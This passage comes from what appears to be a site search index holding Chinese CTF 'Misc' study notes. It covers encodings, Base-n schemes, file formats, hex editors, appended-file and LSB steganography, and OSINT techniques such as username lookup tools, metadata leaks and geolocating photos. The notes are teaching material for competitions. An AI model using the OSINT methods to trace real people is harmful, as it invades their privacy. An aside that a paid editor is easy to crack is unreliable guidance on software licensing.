\u4e2d\u4f1a\u7528\u5230\uff08\u540e\u7eed\u8be6\u7ec6\u53d1\u5e03\uff09\uff0c\u51e0\u79cd\u63a8\u8350\u7684\u65b9\u5f0f\uff1a</li> <li>CyberChef\uff0c\u901a\u8fc7 Input \u548c Output \u7a97\u53e3\u7684\u5b57\u7b26\u96c6\u8bbe\u7f6e</li> <li>\u9700\u8981\u6ce8\u610f\uff0cCyberChef \u7684 UTF-8 \u4e0d\u4f1a\u5c06\u9519\u8bef\u89e3\u7801\u66ff\u6362\u4e3a \ufffd\uff08\u975e\u9884\u671f\uff09</li> <li>vscode \u53f3\u4e0b\u89d2\u7684\u7f16\u7801\u65b9\u6848\uff08\u91cd\u65b0\u6253\u5f00 / \u7528\u7f16\u7801\u4fdd\u5b58\uff09</li> <li>\u5fc5\u8981\u7684\u65f6\u5019\u53ef\u4ee5\u4f7f\u7528 python \u6765\u8fdb\u884c\u7f16\u89e3\u7801 / \u8fdb\u5236\u8f6c\u6362\u7b49</li> </ul>"},{"location":"NOTE/CTF/Misc/#_4","title":"\u6469\u65af\u7535\u7801","text":"<p>\u524d\u9762\u8bf4\u5230\u7684\u5b57\u7b26\u7f16\u7801\uff1a01 \u4e32 &gt; \u5b57\u7b26\uff1b\u63a5\u4e0b\u6765\u770b\u53e6\u4e00\u79cd\uff1a\u5b57\u7b26 &gt; \u5b57\u7b26</p> <ul> <li>\u6469\u5c14\u65af\u7535\u7801\uff08Morse Code\uff09\uff1a\u5229\u7528\u70b9\u5212\uff08\u201c\u6ef4\u201d\u7684\u65f6\u95f4\u957f\u77ed\uff09\u6765\u8868\u793a\u5b57\u7b26<ul> <li>\u70b9 \u00b7\uff1a1 \u5355\u4f4d\uff1b\u5212 -\uff1a3 \u5355\u4f4d</li> <li>\u70b9\u5212\u4e4b\u95f4\u95f4\u9694\uff1a1 \u5355\u4f4d\uff1b\u5b57\u7b26\u4e4b\u95f4\u95f4\u9694\uff1a3 \u5355\u4f4d\uff1b\u5355\u8bcd\u4e4b\u95f4\u95f4\u9694\uff1a7 \u5355\u4f4d</li> </ul> </li> <li>\u5b57\u7b26\u96c6\uff1aA-Z\u30010-9\u3001\u6807\u70b9\u7b26\u53f7\uff08.:,; ='/!-_\"()$&amp;@+\uff09\u3001\u4e00\u4e9b\u7535\u7801\u4e13\u7528\u8868\u793a</li> <li>\u8868\u793a\u4e2d\u6587\uff1a\u7535\u7801\u8868\uff08\u4e00\u4e2a\u6c49\u5b57\u5bf9\u5e94\u56db\u4e2a\u6570\u5b57\uff09\uff0c\u6570\u5b57\u4f7f\u7528\u77ed\u7801\u53d1\u9001     </li> </ul>"},{"location":"NOTE/CTF/Misc/#base","title":"BASE\u7f16\u7801","text":"<ul> <li>Base16\uff1a\u5373 16 \u8fdb\u5236\u8868\u793a\u5b57\u8282\u6d41\uff0c\u957f\u5ea6\u7ffb\u500d</li> <li>Base32\uff1a\u6309\u7167 5 bit \u4e00\u7ec4\uff08\u6bcf\u4e2a 0-31\uff09\uff0c\u6309\u7167\u5b57\u7b26\u8868\uff08A-Z2-7\uff09\u6620\u5c04<ul> <li>\u7ed3\u679c\u957f\u5ea6\u5fc5\u987b\u662f 5 \u7684\u500d\u6570\uff0c\u4e0d\u8db3\u7684\u7528 = \u4e0d\u9f50\uff08\u660e\u663e\u7279\u5f81\uff09</li> </ul> </li> <li>Base64\uff1a\u6309\u7167 6 bit \u4e00\u7ec4\uff0c\u6309\u7167\u5b57\u7b26\u8868\u6620\u5c04\uff08\u6700\u5e38\u7528\uff09<ul> <li>\u6807\u51c6\u5b57\u7b26\u8868\uff1aA-Za-z0-9+/</li> <li>\u53e6\u6709\u591a\u79cd\u5e38\u7528\u5b57\u7b26\u8868\uff0c\u5982 URL \u5b89\u5168\u5b57\u7b26\u8868\uff1aA-Za-z0-9-_</li> <li>\u7ed3\u679c\u957f\u5ea6\u5fc5\u987b\u662f 4 \u7684\u500d\u6570\uff0c\u4e0d\u8db3\u7684\u7528 = \u4e0d\u9f50\uff081~2 \u4e2a\uff0c\u660e\u663e\u7279\u5f81\uff09  </li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Misc/#base-n","title":"Base-n \u7cfb\u5217\u7684\u672c\u8d28\uff1a","text":"<ul> <li>\u5b57\u8282\u6d41 &gt; \u6574\u6570 &gt; n \u8fdb\u5236 &gt; \u7cfb\u6570\u67e5\u8868   \u6240\u4ee5\u9664\u53bb\u524d\u9762\u89c4\u5219\u7684 16/32/64 \u8fdb\u5236\uff0c\u8fd8\u6709\u4e00\u4e9b\u5176\u4ed6\u7684 Base \u7f16\u7801\uff1a</li> <li>\u5206\u7ec4\uff1a<ul> <li>Base85\uff1a4 \u5b57\u8282\u6574\u6570 &gt; 85 \u8fdb\u5236 &gt; 5 \u4e2a\u7cfb\u6570</li> <li>\u5e38\u7528\u5b57\u7b26\u8868\uff1a0-9A-Za-z!#$%&amp;()*+-; &gt;?@^_`{ }~</li> <li>\u6807\u51c6\u5b57\u7b26\u8868\uff1a!-u\uff08ASCII \u7f16\u7801\u4e2d 0x21-0x75\uff09</li> <li>\u4f5c\u4e3a\u5927\u6574\u6570\u8f6c\u6362\u8fdb\u5236\uff1a</li> <li>Base62\uff1a0-9A-Za-z\uff08\u6bd4 Base64 \u5c11\u4e86 +/\uff09</li> <li>Base58\uff1a0-9A-Za-z \u53bb\u9664 0OIl</li> <li>Base56\uff1a\u6bd4 Base58 \u5c11\u4e86 1 \u548c o</li> <li>Base36\uff1a0-9A-Z\uff08\u6bd4 Base62 \u5c11\u4e86 a-z\uff09</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Misc/#osint","title":"OSINT \u57fa\u7840","text":"<p>\u6211\u8981\u6210\u4e3a\u5f00\u76d2\u7cd5\u624b\uff01</p> <ul> <li>Open Source INTelligence\uff1a\u5f00\u6e90\u7f51\u7edc\u60c5\u62a5</li> </ul> <p>\u901a\u8fc7\u5b8c\u5168\u516c\u5f00\u7684\u4fe1\u606f\u8fdb\u884c\u5408\u7406\u7684\u63a8\u7406\uff0c\u83b7\u53d6\u60c5\u62a5 \u4e00\u822c\u5728 misc \u9898\u76ee\u4e2d\u51fa\u73b0\u5373\u6cdb\u6307\u4fe1\u606f\u641c\u96c6\uff0c\u6709\u51e0\u79cd\u60c5\u51b5\uff1a - \u6784\u9020\u4e86\u4e00\u4e2a\u5168\u65b0\u7684\u865a\u62df\u8eab\u4efd\uff0c\u641c\u96c6\u5f97\u5230\u51fa\u9898\u4eba\u51c6\u5907\u597d\u7684\u4fe1\u606f - \u6839\u636e\u56fe\u7247\u3001\u6587\u6863\u7b49\u9644\u4ef6\u6cc4\u6f0f\u7684\u4fe1\u606f\u8fdb\u884c\u63a8\u7406\uff08\u4e3b\u8981\uff09 - \u5305\u62ec\u6839\u636e\u56fe\u7247\u5185\u5bb9\u63a8\u7406\u627e\u5230\u62cd\u6444\u4f4d\u7f6e\u3001\u5f53\u65f6\u73af\u5883\u7b49\u4fe1\u606f</p>"},{"location":"NOTE/CTF/Misc/#_5","title":"\u4fe1\u606f\u641c\u96c6","text":"<ul> <li>\u6570\u5b57\u4fe1\u606f\u641c\u96c6\u5de5\u5177</li> <li>\u7528\u6237\u540d\u6279\u91cf\u67e5\u8be2</li> <li>sherlock </li> <li>namechk</li> </ul>"},{"location":"NOTE/CTF/Misc/#_6","title":"\u6587\u4ef6\u4fe1\u606f\u6cc4\u9732","text":"<ul> <li>\u5404\u79cd\u6587\u6863\u7684\u5143\u4fe1\u606f\uff08metadata\uff09\u53ef\u80fd\u5305\u62ec\u4f5c\u8005\u3001\u4fee\u6539\u65f6\u95f4\u7b49\u4fe1\u606f<ul> <li>\u56fe\u7247\u7684 EXIF \u4fe1\u606f\uff0c\u53ef\u901a\u8fc7 exiftool \u67e5\u770b\u4e00\u822c\u4ee5 xml \u5f62\u5f0f\u5b58\u50a8\uff0c\u53ef\u4ee5\u76f4\u63a5\u901a\u8fc7\u4e8c\u8fdb\u5236\u62b9\u9664\uff0c\u6216\u8005\u901a\u8fc7\u64cd\u4f5c\u7cfb\u7edf</li> </ul> </li> <li>\u5de5\u7a0b\u6587\u4ef6\u5939\u6cc4\u6f0f\u4fe1\u606f<ul> <li>Visual Studio \u7684\u5404\u79cd\u914d\u7f6e\u6587\u4ef6\uff0c.vs \u6587\u4ef6\u5939\u4e2d\u4fe1\u606f</li> <li>.vscode \u6587\u4ef6\u5939\u4e2d\u7684\u914d\u7f6e\u6587\u4ef6</li> <li>.git \u6587\u4ef6\u5939\uff0c\u6cc4\u6f0f\u5168\u90e8\u4fee\u6539\u5386\u53f2\u3001\u63d0\u4ea4\u4fe1\u606f\u3001\u63d0\u4ea4\u8005\u7b49 \u6587\u4ef6\u5939\u8def\u5f84\u4fe1\u606f\u6cc4\u6f0f</li> <li>.DS_Store \u6587\u4ef6\uff0cmacOS \u4e0b\u7684\u6587\u4ef6\u5939\u5e03\u5c40\u4fe1\u606f</li> </ul> </li> </ul> <p>\u524d\u9762\u5404\u79cd\u5de5\u7a0b\u914d\u7f6e\u6587\u4ef6\u7b49\u4e5f\u4f1a\u6cc4\u6f0f\uff08\u6bd4\u5982 vs \u7684 pdb \u8c03\u8bd5\u4fe1\u606f\uff09 markdown \u6587\u4ef6\u56fe\u7247\u8def\u5f84\uff08\u672c\u5730\u8def\u5f84 / \u56fe\u5e8a\u7528\u6237 / \u81ea\u5efa\u56fe\u5e8a\u7f51\u7ad9\uff09   </p>"},{"location":"NOTE/CTF/Misc/#_7","title":"\u7167\u7247\u4fe1\u606f\u5206\u6790","text":"<ul> <li>\u8bc6\u56fe</li> <li>\u5c5e\u6027</li> <li>\u5730\u6807</li> <li>\u5929\u6c14\u4fe1\u606f\uff0c\u4e91\u5c42\u4fe1\u606f\uff0c\u4f30\u8ba1\u65b9\u5411\uff0c\u4f4d\u7f6e\uff0c\u65f6\u95f4\u7b49</li> <li>\u98ce\u666f\u4fe1\u606f\uff0cYandex\u641c\u7d22</li> </ul>"},{"location":"NOTE/CTF/Misc/#7-9-misc1","title":"7-9 Misc\u4e13\u98981","text":"<p>\u6388\u8bfe: 45gfg9 </p> <p>\u957f\u6c99\uff0c\u597d\u73a9\uff1b\u4e0a\u8bfe\uff0c\u4e0d\u597d\u73a9</p>"},{"location":"NOTE/CTF/Misc/#part1","title":"Part1:\u6587\u4ef6\u7cfb\u7edf\u57fa\u7840","text":""},{"location":"NOTE/CTF/Misc/#_8","title":"\u6587\u4ef6\u5982\u4f55\u5b58\u50a8","text":"<ul> <li>\u4e0d\u540c\u7684\u6587\u4ef6\u7cfb\u7edf\uff0c\u4e0d\u540c\u7684\u7ec4\u7ec7\u65b9\u5f0f<ul> <li>MS \u6d3e\uff1aFAT\u3001NTFS\u3001exFAT\u3001ReFS</li> <li>Apple \u6d3e\uff1aHFS\u3001APFS</li> <li>Linux \u6d3e\uff1aext[234]\u3001XFS\u3001Btrfs\u3001ZFS...</li> </ul> </li> <li>\u6587\u4ef6\u662f\u4e00\u4e32\u4e8c\u8fdb\u5236\u6570\u636e<ul> <li>\u5728 HDD \u4e0a\u662f\u5fae\u5c0f\u78c1\u6781\u7684\u78c1\u5316\u65b9\u5411</li> <li>\u5728 SSD \u4e0a\u662f\u7535\u8377\u7684\u5b58\u50a8\u72b6\u6001</li> </ul> </li> <li>\u201c\u6587\u4ef6\u540d\u201d\u662f\u7531\u6587\u4ef6\u7cfb\u7edf\u7ba1\u7406\u7684\uff0c\u4e0d\u662f\u6587\u4ef6\u672c\u8eab\u6570\u636e\u7684\u4e00\u90e8\u5206<ul> <li>\u6587\u4ef6\u7cfb\u7edf\u4f1a\u8bb0\u5f55\u6587\u4ef6\u540d\u3001\u6587\u4ef6\u5927\u5c0f\u3001\u521b\u5efa\u65f6\u95f4\u3001\u4fee\u6539\u65f6\u95f4\u7b49\u4fe1\u606f</li> <li>\u6587\u4ef6\u5185\u5bb9\u624d\u662f\u771f\u6b63\u7684\u6570\u636e</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Misc/#_9","title":"\u5982\u4f55\u5224\u65ad\u6587\u4ef6\u7c7b\u578b","text":"<ul> <li>\u6269\u5c55\u540d<ul> <li>.jpg  , .webp,.txt,.docx</li> <li>\u662f\u6587\u4ef6\u540d\u7684\u4e00\u90e8\u5206\uff0c\u53ef\u4ee5\u968f\u610f\u4fee\u6539</li> <li>\u51b3\u5b9a\u4e86\u6253\u5f00\u6587\u4ef6\u7684\u9ed8\u8ba4\u7a0b\u5e8f</li> </ul> </li> <li>\u5185\u5bb9<ul> <li>\u901a\u8fc7\u6587\u4ef6\u5185\u5bb9\u6765\u8bc6\u522b\u6587\u4ef6\u7c7b\u578b</li> <li><code>file</code> \u547d\u4ee4</li> <li>\u4e0d\u540c\u6587\u4ef6\u7c7b\u578b\u6709\u4e0d\u540c\u7684magic number</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Misc/#_10","title":"\u4e8c\u8fdb\u5236\u67e5\u770b\u6587\u4ef6\u4e0e\u5206\u6790","text":"<ul> <li>010 Editor<ul> <li>\u5168\u5e73\u53f0\u6700\u5e38\u7528\u7684\u4e8c\u8fdb\u5236\u7f16\u8f91\u5668\uff0c\u4ed8\u8d39\u8f6f\u4ef6\uff08\u4f46\u5bb9\u6613\u7834\u89e3\uff09</li> <li>\u6709\u4e30\u5bcc\u7684 binary templates\uff0c\u652f\u6301\u89e3\u6790\u591a\u79cd\u6587\u4ef6\u683c\u5f0f</li> </ul> </li> <li>wader/fg<ul> <li>Go \u7f16\u5199\u7684\u5f00\u6e90\u4e8c\u8fdb\u5236\u6587\u4ef6\u67e5\u770b\u5de5\u5177</li> <li>\u652f\u6301\u7c7b\u4f3c jq \u8bed\u6cd5\u7684\u67e5\u8be2</li> </ul> </li> <li>Hex Fiend<ul> <li>macOS \u4e0a\u514d\u8d39\u5f00\u6e90\u9ad8\u6548\u7684\u4e8c\u8fdb\u5236\u7f16\u8f91\u5668</li> <li>\u4e5f\u6709\u591a\u79cd\u4e8c\u8fdb\u5236\u683c\u5f0f\u7684\u89e3\u6790\u6a21\u677f\uff0c\u4f46\u663e\u793a\u6ca1\u6709 010 \u4e30\u5bcc</li> </ul> </li> <li>ImHex<ul> <li>\u5168\u5e73\u53f0\u5f00\u6e90\u4e8c\u8fdb\u5236\u7f16\u8f91\u5668</li> <li>\u7c7b\u4f3c 010 Editor\uff0c\u4f46\u4f7f\u7528\u9ebb\u70e6\u4e00\u4e9b</li> <li>\u53ef\u4ee5\u7f16\u5199\u81ea\u5b9a\u4e49\u89e3\u6790\u6a21\u677f</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Misc/#_11","title":"\u6587\u4ef6\u7c7b\u578b\u68c0\u6d4b\u4e0e\u5143\u4fe1\u606f","text":""},{"location":"NOTE/CTF/Misc/#_12","title":"\u6587\u4ef6\u9644\u52a0\u5185\u5bb9\u7684\u8bc6\u522b\u4e0e\u5206\u79bb","text":"<ul> <li>\u5927\u90e8\u5206\u6587\u4ef6\u7c7b\u578b\u90fd\u6709\u4e00\u4e2a\u6807\u8bb0\u6587\u4ef6\u5185\u5bb9\u7ed3\u675f\u7684\u6807\u5fd7</li> <li> <p>\u6bd4\u5982 PNG \u7684 IEND \u5757\u3001JPEG \u7684 EOI \u6807\u5fd7\uff08FF D9\uff09</p> </li> <li> <p>\u6240\u4ee5\u4e00\u822c\u5728\u6587\u4ef6\u672b\u5c3e\u6dfb\u52a0\u5176\u4ed6\u5b57\u8282\u65f6\uff0c\u4e0d\u4f1a\u5f71\u54cd\u539f\u6587\u4ef6\u672c\u8eab\u7684\u7528\u9014</p> </li> <li>\u56e0\u6b64\u6709\u4e9b\u9690\u5199\u662f\u5c06\u6570\u636e\u9690\u85cf\u5728\u6587\u4ef6\u672b\u5c3e\u8fbe\u5230\u7684</li> <li>\u6216\u8005\u5728\u6587\u4ef6\u540e\u53e0\u52a0\u53e6\u4e00\u4efd\u6587\u4ef6</li> <li>cat cover.jpg secret.zip &gt; cover_stego.jpg</li> <li>\u9644\u52a0\u5185\u5bb9\u7684\u8bc6\u522b</li> <li>exiftool \u4e00\u822c\u53ef\u4ee5\u8bc6\u522b\u56fe\u50cf\u6587\u4ef6\u540e\u7684\u9644\u52a0\u6570\u636e</li> <li>binwalk \u53ef\u4ee5\u68c0\u6d4b\u53e0\u52a0\u7684\u6587\u4ef6</li> <li>\u9644\u52a0\u6587\u4ef6\u7684\u5206\u79bb</li> <li>binwalk \u6216 foremost \u8bc6\u522b\u5e76\u5206\u79bb</li> <li>dd if= of= bs=1 skip= \u624b\u52a8\u5206\u79bb"},{"location":"NOTE/CTF/Misc/#part2","title":"Part2: \u56fe\u50cf\u9690\u5199\u57fa\u7840\u6280\u672f","text":""},{"location":"NOTE/CTF/Misc/#_13","title":"\u6587\u4ef6\u5185\u5bb9\u57fa\u672c\u9690\u5199","text":"<ul> <li>\u6587\u4ef6\u672b\u5c3e\u6dfb\u52a0\u6570\u636e<ul> <li>exiftool \u8bc6\u522b\u77ed\u6570\u636e\uff0c\u6216\u8005\u5341\u516d\u8fdb\u5236\u7f16\u8f91\u5668\u76f4\u63a5\u89c2\u5bdf</li> <li>binwalk \u8bc6\u522b\u53e0\u52a0\u6587\u4ef6\uff0cforemost \u63d0\u53d6</li> <li>\u56fe\u50cf\u672b\u5c3e\u53e0\u52a0\u4e00\u4e2a\u538b\u7f29\u5305\uff0c\u5c31\u662f\u6240\u8c13\u7684\u201c\u56fe\u79cd\u201d<ul> <li>\u4fee\u6539\u540e\u7f00\u540d\u53ef\u80fd\u53ef\u4ee5\u89e3\u538b\uff08\u90e8\u5206\u89e3\u538b\u8f6f\u4ef6\u4f1a\u5ffd\u7565\u524d\u9762\u7684\u56fe\u50cf\uff09</li> <li>\u5176\u5b9e\u4e0d\u5982\u76f4\u63a5\u5206\u79bb</li> </ul> </li> </ul> </li> <li>\u76f4\u63a5\u5229\u7528\u5143\u4fe1\u606f<ul> <li>exiftool \u5373\u53ef\u8bfb\u53d6</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Misc/#_14","title":"\u8272\u5f69\u7a7a\u95f4\u3001\u8272\u5f69\u6a21\u5f0f","text":"<p>\u8272\u5f69\u7a7a\u95f4\uff08sRGB\u3001Adobe RGB\u3001Display P3 \u7b49\uff09\u662f\u4e00\u4e2a\u76f8\u5bf9\u975e\u5e38\u590d\u6742\u7684\u6982\u5ff5\uff0c\u800c\u4e14\u662f\u9488\u5bf9\u663e\u793a\u7684\uff0c\u6211\u4eec\u4e0d\u8be6\u7ec6\u4ecb\u7ecd</p> <p>\u6211\u4eec\u6ce8\u91cd\u4e8e\u8868\u793a\u989c\u8272\u7684\u6570\u636e\u4e0a\uff0c\u4e00\u822c\u79f0\u4e3a\u8272\u5f69\u6a21\u5f0f\uff08color mode\uff09\uff1a</p> <ul> <li>\u4e8c\u503c\u56fe\u50cf\uff08bitonal\uff09\uff1a\u6bcf\u4e2a\u50cf\u7d20\u53ea\u6709\u4e24\u79cd\u989c\u8272\uff0c\u5982\u9ed1\u767d</li> <li>\u7070\u5ea6\u56fe\u50cf\uff08grayscale\uff09\uff1a\u6bcf\u4e2a\u50cf\u7d20\u6709\u591a\u79cd\u7070\u5ea6\uff0c\u5982 256 \u7ea7\u7070\u5ea6</li> <li>RGB(A)\uff1a3(+1) \u901a\u9053\uff0c\u8868\u793a RGB \u4e09\u79cd\u989c\u8272\uff0cA \u8868\u793a\u900f\u660e\u5ea6\u901a\u9053(\u5370\u5237\u5e38\u7528)</li> <li>CMYK\uff1a\u9752 cyan\u3001\u54c1\u7ea2 magenta\u3001\u9ec4 yellow\u3001\u9ed1 black \u56db\u79cd\u989c\u8272\u6df7\u5408</li> <li>HSV\uff1a\u8272\u8c03 hue\u3001\u9971\u548c\u5ea6 saturation\u3001\u660e\u5ea6 value</li> <li>HSL\uff1a\u8272\u8c03 hue\u3001\u9971\u548c\u5ea6 saturation\u3001\u4eae\u5ea6 lightness</li> <li>YCbCr\uff1a\u4eae\u5ea6 luminance\u3001\u84dd\u8272\u8272\u5ea6 blue chroma\u3001\u7ea2\u8272\u8272\u5ea6 red chroma</li> <li>LAB\uff1a\u4eae\u5ea6 lightness\u3001\u7eff\u7ea2\u8272\u5ea6 A\u3001\u84dd\u9ec4\u8272\u5ea6 B</li> <li>...</li> </ul>"},{"location":"NOTE/CTF/Misc/#lsb","title":"LSB \u9690\u5199","text":"<ul> <li>\u4eba\u773c\u5bf9\u4e8e\u5fae\u5c0f\u7684\u989c\u8272\u53d8\u5316\u4e0d\u654f\u611f</li> <li>\u5bf9\u4e8e 8 bit \u7684\u989c\u8272\u503c\uff0c\u6700\u4f4e\u4f4d\u7684\u53d8\u5316\u4e0d\u4f1a\u88ab\u5bdf\u89c9</li> <li>\u53ef\u4ee5\u968f\u610f\u4fee\u6539\u6700\u4f4e\u4f4d\uff0c\u800c\u4e0d\u5f71\u54cd\u56fe\u50cf\u7684\u663e\u793a\u6548\u679c</li> <li>LSB \u9690\u5199\u5c06\u989c\u8272\u901a\u9053\u7684\u6700\u4f4e\u4f4d\u7528\u6765\u7f16\u7801\u4fe1\u606f</li> <li>\u56fe\u50cf\uff1astegsolve / CyberChef View Bit Plane</li> <li>\u6570\u636e\uff1astegsolve / CyberChef Extract LSB / zsteg / PIL</li> </ul>"},{"location":"NOTE/CTF/Misc/#pil","title":"PIL \u56fe\u50cf\u5904\u7406\u57fa\u7840","text":"<p>PIL\uff08Python Imaging Library\uff09\u662f Python \u4e2d\u975e\u5e38\u5e38\u7528\u7684\u56fe\u50cf\u5904\u7406\u5e93</p> <ul> <li>\u5b89\u88c5\uff1apip3 install pillow \u6216 apt install python3-pil</li> <li> <p>\u5b98\u65b9\u6587\u6863 / \u6559\u7a0b\uff1ahttps://pillow.readthedocs.io/en/stable/</p> </li> <li> <p>\u57fa\u672c\u7528\u6cd5</p> <ul> <li>from PIL import Image \u5bfc\u5165\u548c\u56fe\u50cf\u8bfb\u5199\u5904\u7406\u6709\u5173\u7684 Image \u7c7b</li> <li>img = Image.open(file_name) \u6253\u5f00\u56fe\u50cf</li> <li>img.show() \u663e\u793a\u56fe\u50cf\uff1bimg.save(file_name) \u4fdd\u5b58\u56fe\u50cf</li> <li>img.size \u56fe\u50cf\u5927\u5c0f\uff0cimg.mode \u56fe\u50cf\u6a21\u5f0f</li> <li>img.convert(mode) \u8f6c\u6362\u56fe\u50cf\u6a21\u5f0f</li> <li>img.getpixel((x, y)) \u83b7\u53d6\u50cf\u7d20\u70b9\u989c\u8272</li> <li>img.putpixel((x, y), color) \u8bbe\u7f6e\u50cf\u7d20\u70b9\u989c\u8272</li> <li>np.array(img) \u5c06\u56fe\u50cf\u8f6c\u6362\u4e3a numpy \u6570\u7ec4</li> </ul> </li> <li> <p>\u5177\u4f53\u56fe\u50cf\u6a21\u5f0f\u4ee5\u53ca\u8f6c\u6362</p> </li> <li>'1'\uff1a\u9ed1\u767d\u4e8c\u503c\uff080/255\uff09\uff1b'L'\uff1a\u7070\u5ea6\uff088 bit\uff09\uff0c'l'\uff1a32 bit \u7070\u5ea6<ul> <li>L = 0.299 R + 0.587 G + 0.114 B</li> </ul> </li> <li>'P'\uff1a8bit \u8c03\u8272\u76d8\uff0c\u83b7\u53d6\u7684\u50cf\u7d20\u503c\u662f\u8c03\u8272\u76d8\u7d22\u5f15</li> <li>'RGB'\u3001'RGBA'</li> <li>'CMYK'\uff1a\u8f6c\u6362\u65f6\u6709\u8272\u5dee\uff0cCMY = 255 - RGB\uff0cK = 0</li> <li>'YCbCr'\u3001'LAB'\u3001'HSV' \u7b49\uff0c\u8f6c\u6362\u65f6\u6709\u590d\u6742\u516c\u5f0f\uff08\u53ef\u80fd\u51fa\u73b0\u65b0\u7684\u9690\u5199\uff09</li> <li>PIL \u5176\u4ed6\u6a21\u5757\u7528\u9014<ul> <li>ImageDraw \u7528\u4e8e\u7ed8\u5236\u56fe\u50cf\u3001\u7ed8\u5236\u56fe\u5f62</li> <li>ImageChops \u7528\u4e8e\u56fe\u50cf\u901a\u9053\u7684\u903b\u8f91\u8fd0\u7b97</li> <li>ImageOps \u7528\u4e8e\u56fe\u50cf\u6574\u4f53\u7684\u8fd0\u7b97\u4e00\u7c7b</li> <li>ImageFilter \u7528\u4e8e\u56fe\u50cf\u7684\u6ee4\u6ce2\u5904\u7406</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Misc/#part3","title":"Part3:\u56fe\u50cf\u683c\u5f0f\u4ecb\u7ecd","text":""},{"location":"NOTE/CTF/Misc/#_15","title":"\u56fe\u50cf\u5b58\u50a8","text":"<ul> <li>\u56fe\u50cf\u4fe1\u606f\uff1a\u5bbd\u9ad8\u3001\u8272\u5f69\u6a21\u5f0f\u3001\u8272\u5f69\u7a7a\u95f4\u7b49</li> <li>EXIF \u4fe1\u606f\uff1a\u62cd\u6444\u8bbe\u5907\u3001\u62cd\u6444\u65f6\u95f4\u3001GPS \u4fe1\u606f\u7b49</li> <li>\u50cf\u7d20\u6570\u636e\uff1a\u6bcf\u4e2a\u50cf\u7d20\u7684\u989c\u8272\u4fe1\u606f\uff1b\u4e8c\u503c\u3001\u7070\u5ea6\u3001RGB\u3001CMYK\u3001\u8c03\u8272\u76d8\u7b49<ul> <li>\u5bf9\u4e8e\u6807\u51c6 RGB \u56fe\u50cf\uff0c\u6bcf\u4e2a\u50cf\u7d20\u9700\u8981 24 bits(RGB\u4e09\u4e2a\u5b57\u8282\uff0c\u53ef\u80fd\u6709A)</li> <li>\u5bf9\u4e8e\u4e00\u5f20 1080p \u56fe\u50cf\uff0c\u9700\u8981 6.22 MB(RGB)\uff0c4K \u5219\u9700\u8981 24.88 MB(RGBA)</li> <li>BMP \u683c\u5f0f</li> </ul> </li> <li>\u538b\u529b\u7ed9\u5230\u4e86\u56fe\u50cf\u683c\u5f0f\u7684\u538b\u7f29\u7b97\u6cd5<ul> <li>PNG \u65e0\u635f\uff0cJPEG \u6709\u635f</li> <li>GIF \u6709\u635f\u4e14\u53ea\u652f\u6301 256 \u8272</li> <li>\u65b0\u5174\u683c\u5f0f\u5982 HEIF\u3001WebP\u3001AVIF \u7b49</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Misc/#jpeg","title":"JPEG \u6587\u4ef6\u683c\u5f0f","text":"<p>JPEG \u4f7f\u7528\u5206\u6bb5\u7684\u7ed3\u6784\u6765\u8fdb\u884c\u5b58\u50a8\uff0c\u5404\u6bb5\u4ee5 0xFF \u5f00\u5934\uff0c\u540e\u63a5\u4e00\u4e2a\u5b57\u8282\u8868\u793a\u7c7b\u578b\uff1a</p> <ul> <li>FFD8\uff08SOI\uff09\uff1a\u6587\u4ef6\u5f00\u59cb</li> <li>FFE0\uff08APP0\uff09\uff1a\u5e94\u7528\u7a0b\u5e8f\u6570\u636e\u6bb5\uff0c\u5305\u542b\u6587\u4ef6\u683c\u5f0f\u4fe1\u606f\uff08\u4e0a\u56fe\u6ca1\u6709\uff09</li> <li>FFE1\uff08APP1\uff09\uff1a\u5e94\u7528\u7a0b\u5e8f\u6570\u636e\u6bb5\uff0c\u5305\u542b EXIF \u4fe1\u606f\uff08\u4e0a\u56fe\u6ca1\u6709\uff09</li> <li>FFDB\uff08DQT\uff09\uff1a\u91cf\u5316\u8868\u6570\u636e</li> <li>FFC0\uff08SOF\uff09\uff1a\u5e27\u6570\u636e\uff0c\u5305\u542b\u56fe\u50cf\u5bbd\u9ad8\u3001\u8272\u5f69\u6a21\u5f0f\u7b49\u4fe1\u606f</li> <li>FFC4\uff08DHT\uff09\uff1ahuffman \u8868\u6570\u636e</li> <li>FFDA\uff08SOS\uff09\uff1a\u626b\u63cf\u6570\u636e\uff0c\u5305\u542b\u6570\u636e\u7684\u626b\u63cf\u65b9\u5f0f\uff0chuffman \u8868\u7684\u4f7f\u7528\u65b9\u5f0f\u7b49</li> <li>FFD9\uff08EOI\uff09\uff1a\u6587\u4ef6\u7ed3\u675f</li> </ul> <p>#### JPEG\u538b\u7f29\u539f\u7406 - JPEG \u7684\u538b\u7f29\u539f\u7406\u662f DCT\uff08\u79bb\u6563\u4f59\u5f26\u53d8\u6362\uff09+ Huffman \u7f16\u7801     + \u7531 RGB \u8f6c\u6362\u5230 YCbCr\uff0c\u7136\u540e\u51cf\u5c11 Cb\u3001Cr \u7684\u91c7\u6837\u7387     + \u5c06\u56fe\u50cf\u5206\u5757\uff0c\u6bcf\u4e2a\u5757 8x8\uff0c\u8fdb\u884c DCT \u53d8\u6362        - \u5c06\u56fe\u50cf\u8f6c\u6362\u4e3a\u9891\u57df\uff0c\u4fbf\u4e8e\u538b\u7f29\u9ad8\u9891\u90e8\u5206 - \u91cf\u5316\uff0c\u5c06 DCT \u53d8\u6362\u540e\u7684\u7cfb\u6570\u9664\u4ee5\u91cf\u5316\u8868\u4e2d\u7684\u7cfb\u6570     + \u518d\u6b21\u51cf\u5c11\u9ad8\u9891\u90e8\u5206\u7684\u6570\u636e     + \u6839\u636e\u4e0d\u540c\u7684\u91cf\u5316\u8868\uff0c\u53ef\u4ee5\u8c03\u6574\u538b\u7f29\u8d28\u91cf - \u901a\u8fc7\u6e38\u7a0b\u7f16\u7801\u548c huffman \u7f16\u7801\u8fdb\u884c\u538b\u7f29</p>"},{"location":"NOTE/CTF/Misc/#png","title":"PNG\u6587\u4ef6\u683c\u5f0f","text":"<ul> <li>\u6587\u4ef6\u5934 89 50 4E 47 0D 0A 1A 0A | .PNG....</li> <li>\u91c7\u7528\u5206\u5757\u7684\u65b9\u5f0f\u5b58\u50a8\u6570\u636e<ul> <li>\u6bcf\u5757\u7684\u7ed3\u6784\u90fd\u662f 4 \u5b57\u8282\u957f\u5ea6 